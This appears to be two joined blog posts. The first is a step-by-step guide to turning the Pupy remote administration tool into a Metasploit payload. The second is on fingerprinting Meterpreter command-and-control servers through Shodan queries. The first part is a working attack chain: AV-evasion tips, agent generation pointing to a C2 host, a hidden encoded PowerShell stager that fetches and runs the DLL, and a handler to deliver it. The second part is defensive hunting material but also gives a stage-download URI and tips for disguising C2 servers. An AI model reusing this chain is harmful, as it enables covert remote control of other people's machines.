Pupy as a Metasploit Payload

Introduction

Pupy, written by N1nj4sec, is an open source, cross-platform, modular Remote Administration Tool (RAT) / post exploitation toolkit written in Python. It bundles all dependencies into a single PE or reflective DLL for execution on Windows environments. By utilizing the DLL feature, we can easily plug it into Metasploit as an exploit payload (assuming it supports dllinject as a payload). This allows us to easily shift our agents as Red Teams in order to avoid detection due to reused Indicators of Compromise (IoC)s.

Installing Pupy

We'll go ahead and grab virtualenv, if it isn't already installed. From there we'll initialize all of the submodules, and get ready to recompile the payloads. There are precompiled payloads available, but these are more likely to set off Antivirus. It's generally best practice to compile everything yourself anyways, unless you're going for anti-attribution. Yes, Blue Teams like to write people off as script kiddies too.

Note: Don't underestimate your enemy based on initial analysis.

sudo apt-get install virtualenv libssl-dev python-dev git
git clone https://github.com/n1nj4sec/pupy.git pupy
cd pupy
virtualenv ./
. ./bin/activate
git submodule init
git submodule update
pip install -r pupy/requirements.txt

If you have issues with installing M2Crypto from pip, I'd recommend installing it on your distro and use that copy. Also, remove m2crypto line from pupy/requirements.txt

sudo apt-get install python-m2crypto
ln -s /usr/lib/python2.7/dist-packages/M2Crypto lib/python2.7/site-packages/M2Crypto

Build binaries

As previously discussed, we will compile our own payload template binaries. If this is your first time running the buildenv.sh script, it will take a few minutes to grab all of the mingw packages required for cross-compiling the templates. Many of the shellcode stubs are taken directly from metasploit/meterpreter projects, and will cause AV to flag a lot of the template files. I highly recommend spending 30 minutes or so to tweak the techniques, as it will go a long way towards AV evasion. Unfortunately, there is no master config for network signatures, but all transport modules are written in Python which can be found in pupy/network/transports and are generally easy to modify.

The following commands will populate the templates located in pupy/payload_templates.

# If you don't currently have multiarch, install it now.
sudo dpkg --add-architecture i386 && sudo apt-get update
cd client/sources
./buildenv.sh
./build.sh

Generate Agent DLL

Metasploit currently requires us to generate x86 binaries, so we'll stick with that for generating our pupy dll. This will allow us to use any of Metasploit's dll stubs, or use it directly for throwing exploits. For the sake of demonstration, we will stick to executing a powershell one liner to retrieve and execute the DLL using metasploit's framework.

Generate the pupy agent using the following line. Replace the IP address with your C2 node IP or hostname.

cd ../../pupy
./pupygen.py -O windows -A x86 -f client -S --randomize-hash auto_proxy --transport http --host 192.168.1.138:8080

Start Pupy Listener

We still need to get the metasploit stub ready, but go ahead and start a pupysh session using the same transport and port from above.

./pupysh.py -t http --port 8080

Generate Agent Stub

Start up msfconsole, and generate the stub by using the following commands.

use payload/windows/dllinject/reverse_http
set DLL ~/pupy/pupy/pupyx86.AUbLKU.dll
set LHOST 192.168.1.138
set LPORT 9090
generate -t psh-cmd

If all went well, you should have something similar to the following.

powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARwA2AGcAQQAxAG8AQwBBADcAVgBXAGUAMgAvAGEAUwBCAEQALwBPADUASAA2AEgAYQB3AEsAeQBiAGIATwB3AFoARABRADkAQgBJAHAAMAB0AG0AOABiAEkAbwBKAHgARwBCAEMASwBEAG8AdAA5AHQAbwBzAHIAQgArADEAMQA0AEQAcAA5AGIAdgBmAEcATwB3ADIAVgBkAEsANwA5AHEAUwB6AHMATAB3ADcAcgA1ADMANQB6AFcATgB4ADAAOABCAG0ASgBBAHcANABqAE8ANAAxADcAdgBPAGIAOAA3AE0AaABpAHAASABQAEMAWgBWADkAaABDAFcAdQBrAHIAWABXADQAdABrAFoAawBDAHQARQA1AGUANAA0AFkAYQA1AEUAVQBTAHYAMABFAFEAawBXAHQANwBmAE4ATgBJADUAeAB3AEUANwA3AGEAaABjAHoASgBVAG0AdwB2ADYAUQBFAEoANABMAEkALwBjAFYATgBWAHoAagBHAEYALwBmAEwATgBiAFkAWgA5ADUAbQByAC8ARgBuAHQAMABuAEMASgBhAEMARwBXAE4AWgBHADkAdwB0AHkARgBFAGoAZwA1AHIAeAAvAGEASwBIAGUAbABhAGsAYQBVAE0ASQBIAC8AKwBKAEUAWAA1AHgAZgAxAFIAYgBYADkASwBVAFUAMABFAFgAZwB6AFMAeABqADIAcQB3ADYAbAB2AE0AaAA5AEUAZgBNAEQAeAAxAG0ARQBCAGQANABnAGQAaAB3AG0AbwBjAHUAcQBVAHgASgBjAFgAVgBZAG4AUQBZAEoAYwBQAEEAQgByAFcAMgB4AGcAdABnAHEAZABoAEIAYwBoAEIAdgBqAEYAbQBLAFYAeAB3AEUARQAwAHUAZgBxAEoASwBmAEMAdwBIAE0AYQBoAHIAVABoAE8AagBCAE8AUQByAGUAcgBCAE4AdAB4AGcAbwBSAEsAawBsAEUAcgBjAEgAOABLADgATwBQAHMAaABEAFIAagB4AE0AZgBBAFoAagBzAFAASQB4AFAARwBXADIARABpAHAAYQBpAGgAdwBLAEgANwBBADcAawBJAFkANABGADAAWgA4AHMAOABxAEMAYwArAFYAUQBHAHIASQBZAGwARwBDAEYATAB4AHcAMABnAGkAZABsAE8ASwBUAEgAaQArACsAZABEAE4AUABtAGcAaABQAGsAVABpAEkAKwBjAHUAYgA4AHoAZgBuAGIAcABsAGsATAA3AE8AcwA1ADAAbQBHADEAZABuADgAdQBNAGIAZwBtAGoAQQBNAEUAMwBLAFUAdQArAE4AcQBFAG0AZgBBAE0AWQBpAEYAYwBRAGIAYgB5AGoAaABPAHMAYgBqAGcANQBqAG4AZwA4ADgAVwBDAHEANgBSAFoATgBwAEIAKwByAEYAOAB2AGgAVQBIAFUAWgAwAEMAWQBXAHkARgB4AEYAcQBCAFEASgBLAEoAQwByAG4AUABxAGoAOAB1AHAAaABWADAAUwA0AEYAWQBXAEkASgAvAFkAWgBjAFUASQByADgARwBMAFgAWQBxAFAAOABWAFYATABzAFEARQA0AEoAUABBAEYAQQB6AHMAdABUAEwARwBIAFcAQQA2AFoAeABNADEAZgBxAHIAVgA5AHcAcgA3AHEAcQBpAG0AaABEAG8ANABWAEcAMQBLAFUAZwBGAGUAUQBQAGYARgA3AFoAMAA1AFoARQBIAGcAOQBNAEwAQQBQACsASgB6ADIAUABJAEQAdQBRAHAAMwBpAFUAcgBxAG8AegBhAHcAOABQAGQAKwBEAEUATgArAGsASwBFAGsAawBiAHAAaABDAG8AOQBnAFMAWgAyAEoARQBzAFMATgB4AFMAcABDAFEAZwBxAFcAawBMAEQAdwB1ACsAVwAvAHUARwBpAGwAbAB4AEUAWQBKAEsAOAAwAHQAeABCAE8ASwB4AFcAbgBOAE0ARQBoAFkAbgBOAHEAUQBNAEkAaAA4AGIARQBiAFkASgBvAGoAbQBRAEUAaQBjAFIAaAB5AHMAWgBpAGIAeAB5AGwAUAA1AFYAMgBGAG8ASQBrAHAASgA0AEkARwBsAEwAYQBRAEIASwBIAG4ANABKAHMAdgBMAEkAQQBZAEgAagB5AGsAWABxAHkAWgBtAHUAaAA5AFIANwBJAFAATQBzAFYAOAA3AEYASABuAFEAbgBVAFcAVgBIACsAcwBHAGUAZABqAGgAdgAvAGUAdgByAE8ASgBUAHkAZQBZADQAbABBAEEAOAA4AHcANgBTAGEAOQBLAFEAUwBaAHgARgBZAGcAWgBOAG4AMgBQAHEAcwAvADkAMgA5AFAATgBtAHYANgA0ADIAWQAxAHkAawBRAEMAaQA3AFkAcQA1AG0ATABLAC8AbAB5AGcAYgBsAGwAVgBqAGcAYwBZAHcAKwBaAGgAQgA1AEoAdwA1ADkARgBTAFgANAB1AG0ARwB5AEcASABBAFIAMwBzAHIAMwBwAEsAbgBBAE0AOQBNAEQAYQB0AGoAcQBoAHQAUwBWAEgAYQBuAHIAQgByAHcAVABjAHEAVwBIAHIAZgBmAE8AaAA5ADUAYQBrACsAUABXAGYAdQBVAHEAZQBxAEkAYgAyAHIAQQAxADAAcgBUAEcAdABtAGQAYQBEAFcAYQAyAGQAZgBaAGgAcQBEAE8AagAvAGIAaABlAG0ANAByADIATQBKAG0AeABKADEAMwBSAHgAcQBTADIAbQBUAFUATwBVAFkAOABjAHoATAA3AGkAegBQAGIAeQA5AFUARQA5ADcARwByAHEALwByAEQAMgBIAEgAZgBXAGMAbAAzAHYAdgBXAHMAKwAxAE4AOQAxAFMASAAvAGEASABLAG0AMQBTADkAUgB2AHQAZABQACsAVgBOADIAcAB0AFUAYgBTAEoAagB0AHQAUgBDAGEAagBUAGEALwBEAGwAagBPAEwAbwBvAGsAcgBlADQALwAxAEcAMABUADIALwBYAGgAdAAxAGMATwBsAGIAOQBXAFUANwB1AG8ASwBUAGQAOQBGAFYAbgBkAGwATwBOAGwATQBrADIAOABtACsAOAB2ADYAWQBEAHkAQgBGADcAVwBpAEsAVQBhAHUAWABMAGQAZwA3AFEASAB0AGsAbwB5ADAAbgBhAEoAYwA2ADYATQA4ADMASwAyADEAVgB2AHUAVABnADYAZABNAHUAcQB0AEgAOABpAFIAMwA1AFoAdABwAGIAMAA4AEgAbwBhAEwAMAB2AEYAVQBuAHQAKwBHAE0ATABYADgAZABXADIAYgBqAFAAZgBDAG0AeQBJAHYAYwB5AGQASAAyAFUAOQBnAGYAegBXAFoAWQBsAHEAMgBWAHIAZABZADcAUAB0AEgAYgBZAEIAZQAxAHgANwBzAEIAYgBzAG4AMQB5AFUAMgA5AE0AVgAzAHYARwBPAHAATgA1AFIAdgByADAANgBqAHIASwBXADAANABFAE0ARQA3AFUAdABRAHgANgBwAEQATgA1AEwAZABIAHUAZgA0AEUAdABoAHAAQgBZAEYAMQA2AGkAZwA2ADgAMwBHADQANwBRAHIAMwBHADkAbQBpADMAZABwAGcAbABtAG0ATABmAGQAMwBiAGEASQA1ADAAYQBBAC8AZABhAHUANQBKAGwAKwBmAGYAOQAvAFYAaABQAGoAZgBHAHMAMABWACsAMwA0AFcAcwAwAEYATwBYAHUANwBtADEAZQBHADEAQQBjAEYAWAB4ADQAbAB2AFUAZgBqAFcAZwBEAHgAYwBrAEsAVQBhAGcARwBtAEwANQBsADUAMwBYAEMAdQBGAE4ATQAxAEcARgBJAGMAZwAxAEIATwBGADYAZgBHAHgAdwBIAG0ATQBJAEYAQgBGAGQAVQBXAGMASQBLAHAAYQBHAGQAVAAvAFAAagA3AEkAVwBiADUARABUAGYARgA5AEMAQgBFADEAaABlAFgAYgA2ADYARQByAG0AdgBnAHUASwAzAE8AVgArAFMAYgBtACsAZgB3AEUAdABvAGkAdwAyAHEAOQBuAEgAZwBzAFoAVgBVADIAMQAvAFYAYQBqAEMAMABhAC8AdABHAEQAUwBMADgAKwBiAGkAYQBZAFoAUQBKAFkARQBqAEsAUgB6ADYAQQBjAHIASgBLAGoAMQBiAEYAdgBFADAAcQBTAC8AVAAvAEEAbABXADAANQBnAG8AKwB6AHIAOABCADkAWQAzADIARAA5AHkAZgBBAHEAOABtADUAYwBHACsASQBIADUAUAArAEMAVQBrAGYAegBuAHcASwBTAEkATQBKAEUAMgBZAEwAUgBTAGYANwByAFQAWAA0AHkAOQBxADQAdABtAEYAdgAwAFMAUQBjAGIAZAA0ADgAcgA5AGEAOQB5AG0ANwBHAE0AQwAvAGcATAA4AEIAbgBDAG4AbQBUAHQAQQBKAEEAQQBBAD0AJwAnACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA==

Set up Payload Delivery in Metasploit

Now, we need to setup a multi handler for delivering the DLL payload to the target. After the dll is delivered and executed, check back in your pupy tab for a shell.

use exploit/multi/handler
set payload windows/dllinject/reverse_http
set LHOST 192.168.1.138
set LPORT 9090
exploit

Get Shells

Execute the powershell stub that we generated above on a Windows machine, and enjoy your pupy shell delivered by Metasploit.

Hunting Red Team Meterpreter C2 Infrastructure

Introduction

This is part 2 of hunting Red Team C2 Infrastructure. Part 1 covered finding Empire C2 end points. In this post, we will show how to do the same for Meterpreter. There were no immediate crashing bugs found in the Meterpreter HTTP/S handler, but there is still enough information to profile these end points.

Meterpreter

Meterpreter is an advanced C2 infrastructure often used as a payload with the popular Metasploit exploit framework. It's cross-platform and highly extensible. In this post, we will focus on finding the reverse HTTP/S handlers for Meterpreter.

Meterpreter Headers

Using the HTTP request of GET / HTTP/1.0, the following headers were returned.

HTTP/1.1 200 OK
Connection: close
Server: Apache
Content-Length: 44

The thing that stands out here (similar to Empire) is the general lack of headers that would normally be present in a request. Also, the fact that we used HTTP/1.0 as the protocol, but the reply is still for HTTP/1.1

Meterpreter default page

<html><body><h1>It works!</h1></body></html>

Hashes of defaul page

MD5: c7b4690c8c46625ef0f328cd7a24a0a3
SHA1: 12179caec26a089cabcbb75c4dbe0bdfe60951f7
SHA2: 8f3ff2e2482468f3b9315a433b383f0cc0f9eb525889a34d4703b7681330a3fb

Finding Meterpreter Listeners with Shodan

Shodan is a search engine for Security Researchers. They routinely scan common ports across the Internet, and make the data publicly available, and easily searchable. APIs are also provided for automating a lot of the tasks required.

Using the common headers, and default web page listed above, we are able to narrow down the list of possible Meterpreter C2 node candidates on the Internet with a simple query.

'Server: Apache' 'It works!' -'Content-Type' 'Length: 44'

You'll notice that the results returned all are HTTP/1.1 with matching profiles that we scoped out above.

Random URLs

Another characteristic that makes Meterpreter listeners easy to identify, is that all requests that aren't to the backend result in the same response. Random URLs will get the same response as grabbing the index. Legitimate servers will typically produce a 404 error.

GET /lkafjdklfjasdklfjalkdjflkajd HTTP/1.0

Changing default values

There's no excuse for leaving your C2 node exposed to the entire Internet. Use whitelisting of IP space in order to keep your tests in scope, and avoid having other people attack your nodes. In order to change the default server and page discussed above, these are all part of the advanced settings.

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 8000
show advanced
set MeterpreterServerName nginx
set HttpUnknownRequestResponse httml_here

Going beyond Shodan

In case there are any questions about the servers found being Meterpreter listeners, the following is a valid URI that will download Stage1 of the Meterpreter session from any given reverse HTTP/S listener.

GET /huO7Mf9GbAoRFBAVSfkxDwLTm3Wcz8n3kuXycv7k4vWV-_dXg3aY1iQy83Cejls15IeYlhUZ0QMT8S1zHKR33-Ga1rVIiV6QNFjXzTgr4lwNq_YR1tqyIbl9ddVzJ8UeYWJ0MJnThtVJ7d46IZnwHYok-XXZJrhqgUaaJMQtmCGCQWFA9tXMVtZtQEaR9Hse2Muw-P5TX4M7LKtm93LLFCT5i1NshdiwcWOnVJq HTTP/1.0

As we discussed in part 1, we can use Scans.io data in order to get a broader search of HTTPS servers. If you still have a copy of the data, you can run a zgrep search like the following to identify possible C2 nodes from this data.

zgrep 'PGh0bWw+PGJvZHk+PGgxPkl0IHdvcmtzITwvaDE+PC9ib2R5PjwvaHRtbD4=' 20170221-https.gz > /tmp/results.json

This may take several minutes to run, as the datasets are generally several gigabytes in size. The result will be a file containing JSON data for each host that returned the default Meterpreter HTML. You can parse this file and extract each IP address that should be tested.

Happy hunting.